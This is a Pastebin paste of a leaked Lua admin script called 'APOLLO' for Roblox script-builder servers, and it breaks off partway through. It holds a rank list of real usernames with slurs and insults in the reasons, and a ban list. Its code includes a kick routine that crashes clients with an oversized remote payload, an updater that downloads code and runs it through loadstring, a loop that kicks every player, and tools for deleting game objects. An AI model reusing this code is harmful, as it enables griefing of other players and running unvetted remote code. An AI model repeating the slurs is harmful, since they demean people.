Advertisement
Jaden11

APOLLO [Relesead] --By GravityLeaker. ;)

Jul 5th, 2015
654
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 71.98 KB | None | 0 0
  1. wait()
  2. script.Parent=nil
  3. _G.APOLLO={};
  4. _G.APOLLO.baseKey='o43ua8weuf98u(*U#(*uoiwajdsf8p#*U(jh8idfa';
  5. _G.APOLLO.decodeKey='joU*3uf98asdu9*H#O*SF&DYOH';
  6. _G.APOLLO.encodeKey='joij983#(*#*)(DSFUJHdfoaisu(*#';
  7. APOLLO={ --SCRIPT_CORE
  8. killKey=nil;
  9. CoreStuff={RotMode=1,tabPart=nil,REMOVED=false,ChangingLighting=false,rotRunning=false,breakLoops=false,State=nil,Version=1.3,StoredTablets={},ROT=0,ROTA=0.15,TabletParent=game:service'Workspace' or 'CANNOT_PARENT',baseLink='http://google.com',SavedTabletsInfo={},PlayersSavedPositions={},ServerCreating=false};
  10. Commands={};
  11. NotReal={
  12. _G={},
  13. shared={}
  14. };
  15. Ranked={
  16.         {Name='APOLLO_SYSTEM',Rank=7,Reason='EVENT_HANDELING'};
  17.         {Name='SolarEnvironment',Rank=7,Reason='Creator',Bet='/'};
  18.         {Name='aleksa12432',Rank=7,Reason='bby and bfffff <3 <3 <3'};
  19.         {Name='Exorsizer',Rank=6,Reason='See: SolarEnvironment',Bet='/'};
  20.         {Name='tusKOr661',Rank=6,Reason='Bypass buddy and he thinks he has so much swag lololololol no he good nige',Bet='\\'};
  21.         {Name='Nexure',Rank=5,Reason='Good friend of creator + SB'};
  22.         {Name='bomblover',Rank=3,Reason='Good friend of creator'};
  23.         {Name='areno2002',Rank=5,Reason='Good friend of creator, creater of Crystal',Bet=';'};
  24.         {Name='leonplantaric4',Rank=4,Reason='Friend'};
  25.         {Name='ClassyJakey',Rank=3,Reason='SB pall + doge'};
  26.         {Name='RBUXH4XX',Rank=4,Reason='Nice person, may FM but is nice so doesnt matter',Bet=';'};
  27.         {Name='iiHoops',Rank=4,Reason='Nice person, friend of RBUX'};
  28.         {Name='12packkid',Rank=2,Reason='Packskid'};
  29.         {Name='NetworkServices',Rank=2,Reason='C2R fwend'};
  30.         {Name='brianush1',Rank=2,Reason='Good scripter'};
  31.         {Name='KaraMura',Rank=2,Reason='Good friend'};
  32.         {Name='Basictality',Rank=2,Reason=''};
  33.         {Name='anaIyze',Rank=2,Reason='pri'};
  34.         {Name='jarredbcv',Rank=4,Reason='Legit scripter'};
  35.         {Name='WantSomeTacos',Rank=6,Reason='the biggest feg on the planet'};
  36.         {Name='NotAshley',Rank=6,Reason='omg I love you so so much <3 <3 <3'};
  37.     };
  38. Banned={'LoadingScriptEditor','Jman2384','dewman2004','ilovekaitlynnweber','mgfsonicr','NewConstruction','M1sterJerk','billwa25','mugex','Copenricus45','Kufarscum','noobkilervip','Razorfire55','Derek1017','meunumbertwo','TESTACCOUNT66666666','joshie0707'};
  39. TimeBanned={};
  40. Settings={SecurePlayergui=true,pondaMode=false,sharedLock=false,SilentMode=false,NoMessage=true,SaveLighting=true,Pri=false,NilsAllowed=true,Bet='/',Table=false,Idle=false};
  41. Functions={};
  42. Idling={};
  43. Logged={};
  44. Services={
  45. game:service'Workspace';
  46. game:service'Lighting';
  47. game:service'Players';
  48. game:service'Debris';
  49. game:service'ServerStorage';
  50. game:service'ReplicatedStorage';
  51. game:service'ServerScriptService';
  52. };
  53.  
  54. Colors={  
  55.         "Medium stone grey","White","Grey","Light yellow","Brick yellow","Light green (Mint)","Light reddish violet",
  56.         "Pastel Blue","Light orange brown","Nougat","Bright red","Med. reddish violet","Bright blue","Bright yellow",
  57.         "Earth orange","Black","Dark grey","Dark green","Medium green","Lig. Yellowich orange","Bright green",
  58.         "Dark orange","Light bluish violet","Transparent","Tr. Red","Tr. Lg blue","Tr. Blue","Tr. Yellow","Light blue",
  59.         "Tr. Flu. Reddish orange","Tr. Green","Tr. Flu. Green","Phosph. White","Light red","Medium red","Medium blue",
  60.         "Light grey","Bright violet","Br. yellowish orange","Bright orange","Bright bluish green","Earth yellow",
  61.         "Bright bluish violet","Tr. Brown","Medium bluish violet","Tr. Medi. reddish violet","Med. yellowish green",
  62.         "Med. bluish green","Light bluish green","Br. yellowish green","Lig. yellowish green","Med. yellowish orange",
  63.         "Br. reddish orange","Bright reddish violet","Light orange","Tr. Bright bluish violet","Gold","Dark nougat",
  64.         "Silver","Neon orange","Neon green","Sand blue","Sand violet","Medium orange","Sand yellow","Earth blue",
  65.         "Earth green","Tr. Flu. Blue","Sand blue metallic","Sand violet metallic","Sand yellow metallic",
  66.         "Dark grey metallic","Black metallic","Light grey metallic","Sand green","Sand red","Dark red","Tr. Flu. Yellow",
  67.         "Tr. Flu. Red","Gun metallic","Red flip/flop","Yellow flip/flop","Silver flip/flop","Curry","Fire Yellow",
  68.         "Flame yellowish orange","Reddish brown","Flame reddish orange","Royal blue","Dark Royal blue",
  69.         "Bright reddish lilac","Dark stone grey","Lemon metalic","Light stone grey","Dark Curry","Faded green",
  70.         "Turquoise","Light Royal blue","Medium Royal blue","Rust","Brown","Reddish lilac","Lilac","Light lilac",
  71.         "Bright purple","Light purple","Light pink","Light brick yellow","Warm yellowish orange","Cool yellow",
  72.         "Dove blue","Medium lilac","Institutional white","Mid gray","Really black","Really red","Deep orange","Alder",
  73.         "Dusty Rose","Olive","New Yeller","Really blue","Navy blue","Deep blue","Cyan","CGA brown","Magenta","Pink",'Teal',
  74.         "Toothpaste","Lime green","Camo","Grime","Lavender","Pastel light blue","Pastel orange","Pastel violet",
  75.         "Pastel blue-green","Pastel green","Pastel yellow","Pastel brown","Royal purple","Hot pink";
  76.     };
  77. };setmetatable(APOLLO.NotReal._G,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'});
  78. setmetatable(APOLLO.NotReal.shared,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'});
  79.  
  80. APOLLO.killKey=_G.APOLLO.baseKey.._G.APOLLO.decodeKey.._G.APOLLO.encodeKey;
  81. local CurrentVersion;
  82.  
  83. if getfenv(load)~=nil then
  84. local e=getfenv(load)
  85. e.require=nil;e.require=require;
  86. end;
  87.  
  88. APOLLO.Functions.fetchSound=function(Words)
  89.     local KeyWords = game:service'HttpService':UrlEncode(Words)
  90.     local Url = 'http://roproxy.tk/catalog/json?Keyword='..tostring(KeyWords)..'&Category=9&ResultsPerPage=50'
  91.     local Assets = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(Url))
  92.     return Assets
  93. end
  94.  
  95. APOLLO.Functions.musicInterface=function(plr,words)
  96.     local songs={}
  97.     local id=0
  98.     for i,v in next,APOLLO.Functions.fetchSound(words)do
  99.         table.insert(songs,v);
  100.     end
  101.     for i,v in next,songs do
  102.         APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Lime green',function()APOLLO.Functions.dismiss(plr)
  103.             id=v.AssetId;
  104.             local sound=Instance.new("Sound",script)
  105.             sound.SoundId=id;
  106.             APOLLO.CoreStuff.Sound=sound;
  107.             --//\\--
  108.         end)
  109.     end
  110. end
  111.  
  112. APOLLO.Functions.getRank=function(player)
  113.     for _,rank in next,APOLLO.Ranked do
  114.         if rank.Name:lower()==player.Name:lower() then
  115.             return rank.Rank
  116.         end
  117.     end
  118. end;
  119. APOLLO.Functions.setRank=function(player,newrank)
  120.     for _,rank in next,APOLLO.Ranked do
  121.         if rank.Name:lower()==player.Name:lower() then
  122.             rank.Rank=newrank
  123.         end
  124.     end
  125. end;
  126. APOLLO.Functions.getReason=function(player)
  127.     for _,rank in next,APOLLO.Ranked do
  128.         if rank.Name:lower()==player.Name:lower() then
  129.             return rank.Reason
  130.         end
  131.     end
  132. end;
  133.  
  134. APOLLO.Functions.attach=function(plr,object)
  135.     local function check(o)
  136.         if o:IsA'BasePart'then
  137.             return true
  138.         else
  139.             return false
  140.         end
  141.     end
  142.     if check(object)==true then
  143.         table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=plr,P=object,ID=math.random(),Rainbow=Clr=='Rainbow'and true or false});
  144.     end
  145. end
  146.  
  147. APOLLO.Functions.AddCommand=function(Name,Chat,Rank,Description,Function)
  148.     APOLLO.Commands[#APOLLO.Commands+1]={['Name']=Name,['Say']=Chat,['Rank']=Rank,['Desc']=Description,['Func']=Function}
  149. end;
  150. APOLLO.Functions.AddRank=function(Name,Rank,Reason,Bet)
  151. local f=false;
  152. for _,v in pairs(APOLLO.Ranked) do
  153.         if v["Name"] == tostring(Name) then
  154.             f = true
  155.             break
  156.         end
  157.     end
  158.     if f==false then
  159.     APOLLO.Ranked[#APOLLO.Ranked+1]={['Name']=Name,['Rank']=Rank,['Reason']=Reason,['Bet']=Bet or '/'}
  160.     end
  161. end;
  162.  
  163. APOLLO.Functions.getPlayers=function(plr,msg)
  164.     local PlayersFound={}
  165.     if msg=='me' then
  166.         table.insert(PlayersFound,plr)
  167.     elseif msg=='others' then
  168.         for i,p in next,game:service'Players':players() do
  169.             if p.Name~=plr.Name then
  170.                 if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(p) then
  171.                 table.insert(PlayersFound,p)
  172.                 end
  173.             end
  174.         end
  175.   elseif msg=='all' then
  176.     for i,v in next,game:service'Players':players() do
  177.     if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then
  178.         table.insert(PlayersFound,v)
  179.         end
  180.         end
  181.     else
  182.         for i,v in next,game:service'Players':players() do
  183.             if v.Name:lower():sub(1,#v.Name):find(msg:lower():sub(1,#msg)) then
  184.                 if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then
  185.                 table.insert(PlayersFound,v)
  186.                 end
  187.             end
  188.         end
  189. end
  190. return PlayersFound
  191. end;
  192.  
  193. APOLLO.Functions.Chat=function(plr,msg)
  194. local Bet=nil
  195. for i,v in next,APOLLO.Ranked do
  196. if v.Name==plr.Name then
  197. Bet=v.Bet or '/'
  198. end
  199. end
  200. if msg:sub(1,3)=='/e ' then
  201. msg=msg:sub(4)
  202. end
  203.     for i,command in next,APOLLO.Commands do
  204.         if(msg:sub(1,#command['Say']+#Bet)==command['Say']..Bet)then
  205.             if(APOLLO.Functions.getRank(plr)>=command.Rank)then
  206.                 msg=msg:sub(#command['Say']+#Bet+1);
  207.                 APOLLO.Functions.dismiss(plr);
  208.                 for i,v in next,APOLLO.Logged do
  209.                 if v['Name']==tostring(plr) then
  210.                 v.Actions[#v.Actions+1]=tostring(plr)..'/'..tostring(command['Say']);
  211.                 end
  212.                 end
  213.                 a,b=ypcall(function()
  214.                     command['Func'](plr,msg);
  215.                 end);
  216.                 if not a then
  217.                     error(b)
  218.                 end
  219.             else
  220.                 APOLLO.Functions.dismiss(plr);
  221.                 if(APOLLO.Settings.pondaMode==false)then
  222.                 APOLLO.Functions.tabletOutput(plr,'You are not allowed to use APOLLO this way.','Really red');
  223.                 elseif(APOLLO.Settings.pondaMode==true)then
  224.                 APOLLO.Functions.tabletOutput(plr,'You are not allowed to ponda this way.','Really red');
  225.                 end
  226.             end;
  227.         end;
  228.     end;
  229. end;
  230. function APOLLO.Functions.guiNotifyBig(plr,txt,tm)
  231. --coroutine.wrap(function()
  232. local Not=Instance.new('ScreenGui',plr.PlayerGui);
  233. Not.Name='APOLLO_NOTIFY_SMALL';
  234. local T=Instance.new('TextButton',Not);
  235. T.Size=UDim2.new(0,200,0.15,0);
  236. T.Position=UDim2.new(0.85,0,1-(6.5),0);
  237. T.TextXAlignment='Left';
  238. T.TextYAlignment='Top';
  239. T.Font='Legacy';
  240. T.FontSize='Size18';
  241. T.TextScaled=true;
  242. T.BorderSizePixel=0;
  243. T.BackgroundColor3=Color3.new(0,0,0);
  244. T.BackgroundTransparency=.5;
  245. T.TextColor3=Color3.new(1,1,1);
  246. T.Text=tostring(txt);
  247. wait(tm)
  248. Not:remove();
  249. --end)
  250. end;
  251. APOLLO.Functions.toRGB=function(r,g,b)
  252.         return(Color3.new(r/255,g/255,b/255));
  253. end;
  254.  
  255. APOLLO.Functions.fixLighting=function()
  256. APOLLO.CoreStuff.ChangingLighting=true;
  257.  
  258. local lighting=game:service'Lighting'
  259.     lighting.GeographicLatitude=41.733299255371;
  260.     lighting.ColorShift_Bottom=APOLLO.Functions.toRGB(0,0,0);
  261.     lighting.ShadowColor=APOLLO.Functions.toRGB(179,179,179);
  262.     lighting.ColorShift_Top=APOLLO.Functions.toRGB(0,0,0);
  263.     lighting.FogColor=APOLLO.Functions.toRGB(192,192,192);
  264.     lighting.Ambient=APOLLO.Functions.toRGB(128,128,128);
  265.     lighting.TimeOfDay='14:00:00';
  266.     lighting.GlobalShadows=false;
  267.     lighting.Name='Lighting';
  268.     lighting.archivable=true;
  269.     lighting.Outlines=false;
  270.     lighting.Brightness=1;
  271.     lighting.FogEnd=1e5;
  272.     lighting.FogStart=0;
  273.     for index,v in next,game:service'Lighting':children()do
  274.         if(v:IsA'Sky')then
  275.             v:destroy();
  276.         end;
  277.     end;
  278. APOLLO.CoreStuff.ChangingLighting=false;
  279. end
  280.    
  281.  
  282. APOLLO.Functions.rotateAnim=function(part)
  283. pcall(function()
  284.             APOLLO.CoreStuff.ROT=APOLLO.CoreStuff.ROT+APOLLO.CoreStuff.ROTA/100;
  285.             for _,player in next,game:getService'Players':getPlayers''do
  286.                 local collected_tablets={};
  287.                 for _,tablet in next,APOLLO.CoreStuff.StoredTablets do
  288.                     if(tablet.Owner==player)then
  289.                         if tablet.P.Parent ~= APOLLO.CoreStuff.TabletParent then
  290.                             APOLLO.CoreStuff.StoredTablets[_]=nil
  291.                         else
  292.                             table.insert(collected_tablets,tablet);
  293.                         end
  294.                     end;
  295.                 end;
  296.                 for I=1,#collected_tablets do
  297.                     --local position=player.Character.Torso.CFrame or part.CFrame;
  298.                     local position;
  299.                     if player.Character~=nil and player.Character.Torso~=nil then
  300.                         position=player.Character.Torso.CFrame
  301.                         APOLLO.CoreStuff.PlayersSavedPositions[player.Name] = player.Character.Torso.CFrame
  302.                     else
  303.                         position = APOLLO.CoreStuff.PlayersSavedPositions[player.Name] or CFrame.new(0,25,0)
  304.                     --position=part.CFrame+Vector3.new(#tostring(player.Name),50,#tostring(player.Name))
  305.                     end
  306.                     local radius=6;
  307.                     local position_2=(I/#collected_tablets-(.5/#collected_tablets)+(APOLLO.CoreStuff.ROT/(#collected_tablets/10)))*math.pi*2
  308.                     local radius_function=(#collected_tablets*.6)+radius;
  309.                     local X=math.sin(position_2)*(radius_function);
  310.                     local Y=math.sin(time());
  311.                     local Z=math.cos(position_2)*radius_function;
  312.                     local A=Vector3.new(X,Y,Z)+position.p;
  313.                     local B=collected_tablets[I].P.CFrame.p;
  314.                     local C=A*.1+B*.9;
  315.                     local spinning_angle=math.rad((APOLLO.CoreStuff.ROT*300)*math.pi);
  316.                     collected_tablets[I].P.CFrame=CFrame.new(C,position.p)*CFrame.Angles(spinning_angle,spinning_angle,spinning_angle)
  317.                 end;
  318.             end;
  319.             end)
  320.             APOLLO.CoreStuff.rotRunning=true;
  321.     end;
  322.        
  323. APOLLO.Functions.revertBase=function()
  324. pcall(function()workspace.Base:remove()end);
  325. local b=Instance.new("Part")
  326. b.Anchored=true;
  327. b.Locked=true
  328. b.CanCollide=true
  329. b.Material='Grass'
  330. b.Name='Base'--prevent removal by g/c
  331. b.Size=Vector3.new(700,1.2,700);
  332. b.BrickColor=BrickColor.new('Bright green');
  333. print'new base'
  334. end
  335.    
  336. APOLLO.Functions.update=function()
  337.     local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true);
  338.     script:Destroy()
  339.     APOLLO.Ranked={}
  340.     APOLLO.Functions={}
  341.     APOLLO.CoreStuff={}
  342.     APOLLO.Settings={}
  343.     APOLLO.Idling={}
  344.     APOLLO.Logged={"APOLLO_DISABLED"}
  345.     APOLLO={}
  346.     for i,env in next,getfenv(1) do
  347.     getfenv(1)[i]='DISABLED'
  348.     end
  349.     for i,env2 in next,getfenv(0)do
  350.     getfenv(0)[i]='DISABLED'
  351.     end
  352.     for i,env3 in next,getfenv()do
  353.     getfenv()[i]='DISABLED'
  354.     end
  355.     wait()
  356.     loadstring(newVer)();
  357.     script.Disabled=true;
  358.     script:Destroy()
  359. end;
  360. APOLLO.Functions.Fake = {
  361.             Table = function(Table)
  362.                 local SimulatedTable = {}
  363.                 table.foreach(Table,function(Index, Value)
  364.                     SimulatedTable[Index] = Value
  365.                 end)
  366.                 return SimulatedTable
  367.             end,
  368.         }
  369.        
  370. APOLLO.Functions.Explore=function(p, part)
  371.                 APOLLO.Functions.dismiss(p)
  372.                 if part == nil then
  373.                         for _,v in pairs(APOLLO.Services) do
  374.                                 APOLLO.Functions.tabletOutput(p,v.Name,'Really red', function() APOLLO.Functions.Explore(p,v) end)
  375.                         end
  376.                 else
  377.                         for _,v in pairs(part:children()) do
  378.                                 APOLLO.Functions.tabletOutput(p,v.Name,'Really red', function() APOLLO.Functions.Explore(p,v) end)
  379.                         end
  380.                         APOLLO.Functions.tabletOutput(p,"Currently exploring: "..part:GetFullName(),'New Yeller')
  381.                         APOLLO.Functions.tabletOutput(p,"ClassName: "..part.ClassName,'New Yeller')
  382.                         APOLLO.Functions.tabletOutput(p,"Destroy",'Really red', function() part:Destroy() APOLLO.Functions.Explore(p,part.Parent) end)
  383.                         APOLLO.Functions.tabletOutput(p,"Remove",'Really red', function() part:remove() APOLLO.Functions.Explore(p,part.Parent) end)
  384.                         APOLLO.Functions.tabletOutput(p,"Explore parent",'Bright blue', function() APOLLO.Functions.Explore(p,part.Parent) end)
  385.                         APOLLO.Functions.tabletOutput(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end)
  386.                         APOLLO.Functions.tabletOutput(p,"Refresh",'Cyan', function() APOLLO.Functions.Explore(p,part) end)
  387.                         if clonedpart then
  388.                                 APOLLO.Functions.tabletOutput(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end)
  389.                         end
  390.                 end
  391. end
  392.  
  393. APOLLO.Functions.permaMessage=function(txt)
  394. pcall(function()mescheck:disconnect()end)
  395. pcall(function()workspace.Unremovable_Message_Instance:remove()end)
  396. local DATA={
  397.     MessageText=txt,
  398.     MessageParent=game:FindService('Workspace'),
  399.     MessageDisabled=false,
  400.     MessageKillcode='KILL_THAT_MESSAGE'
  401. }
  402. local function makeMessage()
  403.     local Message=Instance.new("Hint",DATA.MessageParent)
  404.     Message.Name=tostring(math.random(100,1000000))
  405.     Message.Text=DATA.MessageText
  406. end
  407. local function checkForValidMessage()
  408.     for i,v in next,DATA.MessageParent:children() do
  409.         if v:IsA'StringValue' and v.Name=='Message_Killer' and v.Value=='666' then
  410.             mescheck:disconnect()
  411.             checkForValidMessage=nil
  412.             makeMessage=nil
  413.             DATA=nil
  414.             v:Destroy()
  415.             return
  416.         end
  417.         if v:IsA'Message'then
  418.             if v.Text~=DATA.MessageText or v.Parent~=DATA.MessageParent then
  419.                 v.Name=tostring(math.random(100,1000000))
  420.                 v.Text=DATA.MessageText
  421.                 v.Parent=DATA.MessageParent
  422.             end
  423.             break
  424.         else
  425.             if i==#DATA.MessageParent:children() then
  426.                 makeMessage()
  427.             end
  428.         end
  429.     end
  430. end
  431. mescheck=game:service'RunService'.Stepped:connect(function()
  432.     checkForValidMessage()
  433. end)
  434. end
  435.  
  436. APOLLO.Functions.tabletOutput=function(Plr,Text,Clr,OnClicked,OnTouched)
  437. coroutine.wrap(function()
  438. if APOLLO.Settings.SilentMode==true then return end
  439. local isSilent=false;
  440. pcall(function()
  441. if Plr == nil then
  442. Plr = game.Players:players()[math.random(1,#game.Players:players())]
  443. end
  444. if type(Plr) == 'userdata' then
  445. Plr = Plr
  446. elseif type(Plr) == 'string' then
  447. for _,v in pairs(game.Players:players()) do
  448. if v.Name:lower():sub(1,#Plr) == Plr:lower() then
  449. Plr = v
  450. break
  451. end
  452. end
  453. end
  454. for i,v in next,APOLLO.Ranked do
  455. if v.Silent and v.Silent==true then
  456. isSilent=true;
  457. else
  458. isSilent=false;
  459. end
  460. end
  461. if isSilent==true then return end
  462. local id_=math.random();
  463. if Text == nil then Text = "[:ERROR:]{NO_TEXT_ENTERED}" end
  464. if Clr == nil then Clr = "Random" end
  465. local T = Instance.new("Part",APOLLO.CoreStuff.TabletParent)
  466. T.FormFactor = 'Custom'
  467. pcall(function() T.CFrame=Plr.Character.Torso.CFrame end)
  468. T.CanCollide=false
  469. T.Locked=true
  470. T.Anchored=true
  471. T.Size=Vector3.new(2.5,2.5,2.5)
  472. T.Name='SOLAR_TABLET_'..math.random(-99999,99999);
  473. if(APOLLO.Settings.pondaMode==true)then
  474. local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda
  475. Hat.Handle.Mesh.Parent=T
  476. end
  477. pcall(function()
  478. if type(Clr) == "string" then
  479. if Clr == "Random" then
  480. T.BrickColor = BrickColor.random()
  481. else
  482. T.BrickColor = BrickColor.new(Clr)
  483. end
  484. elseif type(Clr) == "userdata" then
  485. T.Color = BrickColor.new(Clr).Color
  486. end
  487. end)
  488. T.TopSurface=0
  489. T.BottomSurface=0
  490. if(APOLLO.Settings.pondaMode==false)then
  491. T.Transparency=0.65
  492. end
  493. local BBG = Instance.new("BillboardGui",T)
  494. BBG.Adornee = T
  495. BBG.StudsOffset = Vector3.new(0,3,0)
  496. BBG.Size = UDim2.new(10,0,10,0)
  497. local TL = Instance.new("TextLabel", BBG)
  498. TL.Name="OutputText"
  499. TL.Size = UDim2.new(1,0,1,0)
  500. TL.BackgroundTransparency = 1
  501. TL.TextColor = T.BrickColor
  502. TL.Text = Text
  503. TL.TextStrokeTransparency = 0
  504. TL.Font = 'Arial'
  505. TL.FontSize = "Size18"
  506. local C = Instance.new("ClickDetector", T)
  507. C.MaxActivationDistance = math.huge
  508. C.MouseClick:connect(function(p)
  509. if p.Name == Plr.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(Plr) then
  510. for i,v in pairs(APOLLO.CoreStuff.SavedTabletsInfo) do
  511.     if v.P.Name == T.Name then
  512.         APOLLO.CoreStuff.SavedTabletsInfo[i]=nil
  513.     end
  514. end
  515. wait();
  516. T:Destroy()
  517. for i,v in pairs(APOLLO.CoreStuff.StoredTablets) do
  518. if(v.ID==id_)then
  519. table.remove(APOLLO.CoreStuff.StoredTablets, i)
  520. end
  521. end
  522. if OnClicked ~= nil then
  523. a,b = ypcall(function()
  524. -- for i = 0,3 do APOLLO.Functions.dismiss(Plr) end);
  525. OnClicked()
  526. end)
  527. if not a then
  528. APOLLO.Functions.tabletOutput(b,"Really red")
  529. end
  530. end
  531. end
  532. end)
  533. if OnTouched ~= nil then
  534. T.Touched:connect(function(what)
  535. if what.Parent.Name ~= Plr.Name then
  536. local higherRank = false
  537. pcall(function()
  538. if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(Plr) then
  539. higherRank = true
  540. end
  541. end)
  542. if higherRank == false then
  543. OnTouched(what)
  544. end
  545. end
  546. end)
  547. end
  548. table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=Plr,P=T,ID=id_,Rainbow=Clr=='Rainbow'and true or false});
  549. table.insert(APOLLO.CoreStuff.SavedTabletsInfo,{OnClicked=OnClicked,OnTouched=OnTouched,Owner=Plr,P=T:Clone(),ID=id_,Rainbow=Clr=='Rainbow'and true or false});
  550. end)
  551. end)()
  552. end
  553. workspace.descendantRemoving:connect(function(meow)
  554. coroutine.wrap(function()
  555.     local x = meow.Name --god darn buutif0l --so it waits to check if dismiss removed it
  556.     wait()
  557.     for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do
  558.         if v.P.Name == x then
  559.             local meowX = v.P:Clone()
  560.             for _,y in next,meowX:children() do
  561.                 if y.ClassName == 'ClickDetector' then
  562.                     y:remove()
  563.                 end
  564.             end
  565.             meowX.Parent = APOLLO.CoreStuff.TabletParent
  566.             local meowY = Instance.new("ClickDetector",meowX)
  567.             meowY.MaxActivationDistance = math.huge
  568.             meowY.MouseClick:connect(function(p)
  569.                 if p.Name == v.Owner.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(v.Owner) then
  570.                     APOLLO.CoreStuff.SavedTabletsInfo[i]=nil
  571.                     meowX:remove()
  572.                     for _,y in pairs(APOLLO.CoreStuff.StoredTablets) do
  573.                         if(y.P.Name == meowX.Name)then
  574.                             table.remove(APOLLO.CoreStuff.StoredTablets, _)
  575.                         end
  576.                     end
  577.                     if v.OnClicked ~= nil then
  578.                         a,b = ypcall(function()
  579.                             v.OnClicked()
  580.                         end) if not a then
  581.                             APOLLO.Functions.tabletOutput(b,"Really red")
  582.                         end
  583.                     end
  584.                 end
  585.             end)
  586.             if v.OnTouched ~= nil then
  587.                 v.P.Touched:connect(function(what)
  588.                     if what.Parent.Name ~= v.Owner.Name then
  589.                         local higherRank = false
  590.                         pcall(function()
  591.                             if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(v.Owner) then
  592.                                 higherRank = true
  593.                             end
  594.                         end)
  595.                         if higherRank == false then
  596.                             OnTouched(what)
  597.                         end
  598.                     end
  599.                 end)
  600.             end
  601.             table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=v.Owner,P=meowX,ID=v.id_,Rainbow=v.Rainbow})
  602.         end
  603.     end
  604.     end)()
  605. end)
  606.  
  607. function APOLLO.Functions.fireRocket(plr)
  608.     local torso=plr.Character.Torso
  609.     local roket=Instance.new("Part")
  610.     roket.Size=Vector3.new(1,1,10)
  611.     roket.CFrame=CFrame.new(0,200,0)
  612.     roket.BrickColor=BrickColor.new('Really red')
  613.     local targ=Instance.new("RocketPropulsion",roket)
  614.     targ.Target=torso
  615.     roket.Touched:connect(function(h)
  616.     local ex=Instance.new("Explosion",roket)
  617.     ex.Position=roket.Position
  618.     roket:remove()
  619.     if not h.Name=='Base'and not h.Name=='Baseplate'then
  620.         pcall(function()h.Parent:BreakJoints()end)
  621.         h:remove()
  622.     end
  623.     end)
  624.     roket.Parent=workspace
  625.     targ:fire()
  626. end
  627.  
  628. APOLLO.Functions.kick=function(...)
  629. local args={...}
  630.     local r=Instance.new('RemoteFunction',game.Lighting);
  631.     for i,f in next,args do
  632.     if type(f) == 'userdata' then
  633. f = f
  634. elseif type(f) == 'string' then
  635. for _,v in pairs(game.Players:players()) do
  636. if v.Name:lower():sub(1,#f) == f:lower() then
  637. f = v
  638. break
  639. end
  640. end
  641. end
  642.     pcall(function()
  643.         pcall(function()f:Kick()end)
  644.         if f then
  645.         r:InvokeClient(f,{string.rep('ok',5e5+9)});
  646.         end
  647.     end);
  648.     end
  649.         wait();
  650.     r:Destroy();
  651. end;
  652.  
  653. APOLLO.Functions.initiateShutdown=function()
  654.     if APOLLO.Settings.SecurePlayergui then
  655.         while(wait())do
  656.             for i,v in next,game:service'Players':players() do
  657.                 v:Kick()
  658.             end
  659.         end
  660.     end
  661. end
  662.  
  663. APOLLO.Functions.getRanked=function(plr)
  664. APOLLO.Functions.tabletOutput(plr,'Rank 0','Dark green',function()APOLLO.Functions.dismiss(plr)
  665. APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
  666. APOLLO.Functions.tabletOutput(plr,'Rank 0','Really red');
  667. for i,v in next,APOLLO.Ranked do
  668. if v.Rank==0 then
  669. APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
  670. APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
  671. APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
  672. APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
  673. end
  674. end
  675. end);
  676. APOLLO.Functions.tabletOutput(plr,'Rank 1','Dark green',function()APOLLO.Functions.dismiss(plr)
  677. APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
  678. APOLLO.Functions.tabletOutput(plr,'Rank 1','Really red');
  679. for i,v in next,APOLLO.Ranked do
  680. if v.Rank==1 then
  681. APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
  682. APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
  683. APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
  684. APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
  685. end
  686. end
  687. end);
  688. APOLLO.Functions.tabletOutput(plr,'Rank 2','Dark green',function()APOLLO.Functions.dismiss(plr)
  689. APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end);
  690. APOLLO.Functions.tabletOutput(plr,'Rank 2','Really red');
  691. for i,v in next,APOLLO.Ranked do
  692. if v.Rank==2 then
  693. APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr)
  694. APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green')
  695. APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green')
  696. APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end);
  697. end
  698. end
  699. end);
